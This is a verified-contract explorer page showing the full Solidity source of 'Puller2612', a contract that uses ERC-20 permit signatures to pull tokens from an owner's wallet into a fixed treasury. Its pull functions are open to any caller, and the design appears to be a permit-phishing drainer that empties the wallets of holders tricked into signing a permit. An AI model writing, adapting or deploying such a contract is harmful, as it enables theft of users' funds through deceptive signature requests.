Verified contractExactMIT
Puller2612
Address0xcceaf15c61014f440d51ede196d863ce42cecd09
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,399,427
- Creation transaction
- 0x4e323e4ce5…1521b2bf19
usdcerc.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20Permit {
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
}
contract Puller2612 {
IERC20Permit public immutable token;
address public immutable treasury;
constructor(address _token, address _treasury) {
token = IERC20Permit(_token);
treasury = _treasury;
}
function pullWithPermit(
address owner,
uint256 permitValue,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
token.permit(owner, address(this), permitValue, deadline, v, r, s);
require(token.transferFrom(owner, treasury, amount), "transferFrom failed");
}
function pull(address owner, uint256 amount) external {
require(token.transferFrom(owner, treasury, amount), "transferFrom failed");
}
function balanceOf(address owner) external view returns (uint256) {
return token.balanceOf(owner);
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.